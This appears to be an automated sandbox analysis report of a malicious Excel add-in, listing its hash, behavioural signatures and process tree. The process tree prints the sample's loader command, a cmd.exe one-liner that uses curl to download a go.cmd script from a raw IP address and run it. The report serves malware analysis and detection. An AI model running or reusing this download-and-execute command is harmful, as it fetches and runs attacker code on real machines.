Analysis
- max time kernel
298s - max time network
290s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260709-en - resource tags
- submitted
22/08/2026, 03:31
General
- Target 22082026_0331_21082026_compro_21082026_163604_BQKCe8yd1AIxGz.xlam
- Size 6KB
- Sample260822-d3csnavvfz
- SHA256 b5693386bb70a912b5ff839588756162a8028ea252ae49f8b70370d5e7cc13a8
Malware Config
Signatures
- Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
- Executes a command shell one-liner 1 TTPs 1 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
- Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
- Enumerates system info in registry 2 TTPs 3 IoCs
- Suspicious behavior: AddClipboardFormatListener 1 IoCs
- Suspicious use of SetWindowsHookEx 8 IoCs
- Suspicious use of WriteProcessMemory 2 IoCs
- cURL User-Agent 1 IoCs
Uses User-Agent string associated with cURL utility.
Processes
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C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\22082026_0331_21082026_compro_21082026_163604_BQKCe8yd1AIxGz.xlam"1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /Q /D /C "del /q %TEMP%\go.cmd 2>nul&&curl -L --fail -o %TEMP%\go.cmd http://169.58.168.28:3847/atualizacao/go.cmd?t=884274d71e315553ec64dc940c10b8e7&&call %TEMP%\go.cmd"2⤵
- Process spawned unexpected child process
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\curl.execurl -L --fail -o C:\Users\Admin\AppData\Local\Temp\go.cmd http://169.58.168.28:3847/atualizacao/go.cmd?t=884274d71e315553ec64dc940c10b8e73⤵
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Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
go.cmd
b8ab77100df80ab2.customDestinations-ms
memory/1392-6-0x00007FFF6E160000-0x00007FFF6E3C3000-memory.dmp
memory/1392-0-0x00007FFF2E2A0000-0x00007FFF2E2B0000-memory.dmp
memory/1392-13-0x00007FFF6E160000-0x00007FFF6E3C3000-memory.dmp
memory/1392-14-0x00007FFF6E160000-0x00007FFF6E3C3000-memory.dmp
memory/1392-12-0x00007FFF6E160000-0x00007FFF6E3C3000-memory.dmp
memory/1392-11-0x00007FFF6E160000-0x00007FFF6E3C3000-memory.dmp
memory/1392-10-0x00007FFF6E160000-0x00007FFF6E3C3000-memory.dmp
memory/1392-7-0x00007FFF6E160000-0x00007FFF6E3C3000-memory.dmp
memory/1392-2-0x00007FFF2E2A0000-0x00007FFF2E2B0000-memory.dmp
memory/1392-9-0x00007FFF6E160000-0x00007FFF6E3C3000-memory.dmp
memory/1392-1-0x00007FFF2E2A0000-0x00007FFF2E2B0000-memory.dmp
memory/1392-8-0x00007FFF6E160000-0x00007FFF6E3C3000-memory.dmp
memory/1392-4-0x00007FFF6E2BF000-0x00007FFF6E2C0000-memory.dmp
memory/1392-15-0x00007FFF2B900000-0x00007FFF2B910000-memory.dmp
memory/1392-16-0x00007FFF2B900000-0x00007FFF2B910000-memory.dmp
memory/1392-21-0x00007FFF6E160000-0x00007FFF6E3C3000-memory.dmp
memory/1392-22-0x00007FFF6E160000-0x00007FFF6E3C3000-memory.dmp
memory/1392-5-0x00007FFF2E2A0000-0x00007FFF2E2B0000-memory.dmp
memory/1392-27-0x00007FFF6E160000-0x00007FFF6E3C3000-memory.dmp
memory/1392-28-0x00007FFF6E160000-0x00007FFF6E3C3000-memory.dmp
memory/1392-3-0x00007FFF2E2A0000-0x00007FFF2E2B0000-memory.dmp